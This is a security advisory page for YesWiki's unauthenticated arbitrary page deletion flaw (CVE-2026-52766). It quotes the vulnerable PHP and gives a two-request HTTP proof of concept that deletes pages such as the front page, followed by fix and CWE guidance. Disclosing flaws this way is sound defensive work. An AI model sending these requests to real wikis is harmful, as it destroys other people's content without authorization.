Skip to content

GHSA-6x7x-gcmf-7r8x CVE-2026-52766

YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action

Critical Packagist
Severity
9.1 / 10
Critical · CVSS 3.1
Exploit chance (EPSS)
0.58%
Chance of exploitation in the next 30 days. Higher than 47.64% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-276 Incorrect Default Permissions
CWE-862 Missing Authorization
Fix
4.6.6
Upgrade yeswiki/yeswiki to this version or later

Description

Summary

The {{erasespamedcomments}} wiki action (actions/EraseSpamedCommentsAction.php) accepts a suppr[] array from POST and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (default_write_acl='*') on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.

The action's delete() callee is PageManager::deleteOrphaned(), which despite its name does not check whether the target page is orphaned: it issues an unconditional DELETE against pages, links, acls, triples, referrers, and tags tables.

Details

Three issues compose the vulnerability.

  1. actions/EraseSpamedCommentsAction.php performs no authorization check before processing $_POST['clean'] / $_POST['suppr'][] in actions/EraseSpamedCommentsAction.php:

    public function run()
    {
        $wiki = &$this->wiki;
        ob_start();
        // ...
        elseif (isset($_POST['clean'])) {              
            $deletedPages = '';
            if (!empty($_POST['suppr'])) {            
                foreach ($_POST['suppr'] as $page) {
                    echo 'Effacement de : ' . $page . "<br />\n";
                    if ($wiki->services->get(PageController::class)->delete($page)) {  
                        $deletedPages .= $page . ', ';
                    }
                }
            }
    
        }
    }
    

    No UserIsAdmin(), no UserIsOwner(), no HasAccess('write', $page) per-target check, no CSRF token check.

  2. The default action ACL grants access to everyone in includes/YesWiki.php:

    $acl = empty($this->config['permissions'][$moduleType][$module])
        ? '*'
        : $this->config['permissions'][$moduleType][$module];
    
    if ($acl === null) { return true; }
    return $this->CheckACL($acl, $user);
    

    No shipped permissions map gates erasespamedcomments to admins, so Performer::CheckModuleACL('erasespamedcomments', 'action') returns true for anonymous users.

  3. PageController::delete() and PageManager::deleteOrphaned() perform no authorization check and do not validate that the page is actually orphaned in includes/controllers/PageController.php:38–48:

    public function delete(string $tag): bool
    {
        if ($this->entryManager->isEntry($tag)) {
            return $this->entryController->delete($tag);
        } else {
            $this->pageManager->deleteOrphaned($tag);
            $this->wiki->LogAdministrativeAction(
                $this->authController->getLoggedUserName(),
                'Suppression de la page ->""' . $tag . '""'
            );
            return true;
        }
    }
    

in includes/services/PageManager.php:289–310:

public function deleteOrphaned($tag)
{
    if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); }
    unset($this->ownersCache[$tag]);
    if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); }
    $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'");
    $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' ");
    $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' ");
    // ...further unconditional DELETEs across triples, referrers, tags
}

The companion isOrphaned() method (line 284) exists but is never called from deleteOrphaned(). The function name is misleading as it deletes any page, not just orphans.

PoC

Default fresh install where default_write_acl='*' (per includes/YesWikiInit.php:219), anonymous browsing.

  1. create a trigger page (anonymous)
POST /?wiki=SpamCleanup/edit HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

body=%7B%7Berasespamedcomments%7D%7D&submit=1

This succeeds because the new page passes aclService->hasAccess('write', 'SpamCleanup') against default_write_acl='*'.

  1. trigger arbitrary page deletion (anonymous)
POST /?wiki=SpamCleanup HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded

clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage

Server response includes Effacement de : PagePrincipale and Effacement de : AnotherTargetPage. pages, links, acls, triples, referrers, and tags rows for those tags are deleted from the database.

Impact

Arbitrary page deletion, including the front page (PagePrincipale).

Affected versions

Packagist

PackageVulnerableFixed in
yeswiki/yeswiki
< 4.6.6
4.6.6

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

yeswiki/yeswiki Packagist → 4.6.6

composer
composer require yeswiki/yeswiki:^4.6.6

Severity breakdown

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Weakness

CWE-276: Incorrect Default Permissions

During installation, installed file permissions are set to allow anyone to modify those files.

How to prevent it
  • Architecture and Design, Operation: The architecture needs to access and modification attributes for files to only those users who actually require those actions.
  • Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.

CWE-862: Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-9369-69wj-7m2f
YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize
Critical Also affects yeswiki/yeswiki
GHSA-4pf7-cc4r-g63h
YesWiki has Authenticated SQL Injection via ReactionManager
High Also affects yeswiki/yeswiki
GHSA-r5xw-gcgw-hwp5
YesWiki Vulnerable to Reflected XSS via Unescaped `id` Parameter in Bazar Widget HTML Attributes
Medium Also affects yeswiki/yeswiki
GHSA-35f3-pg38-486f
YesWiki Vulnerable to Reflected XSS via Unescaped Archived-Revision `time` Parameter in `handlers/page/show.php`
Medium Also affects yeswiki/yeswiki
GHSA-xc7j-3g8q-9vh4
YesWiki has stored XSS in Bazar form-field templates via unescaped field.label / field.hint (|raw('html'))
Medium Also affects yeswiki/yeswiki
GHSA-8f2v-2qhj-gfwg
YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)
High Also affects yeswiki/yeswiki
GHSA-qg78-vmvc-fhjw
YesWiki: SQL Injection possible through public Bazar entry-listing APIs via numeric `query`/`queries` filters
High Also affects yeswiki/yeswiki
GHSA-vw42-752g-5mrp
YesWiki has Unauthenticated Server-Side Request Forgery via ActivityPub `Signature.keyId`
High Also affects yeswiki/yeswiki
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor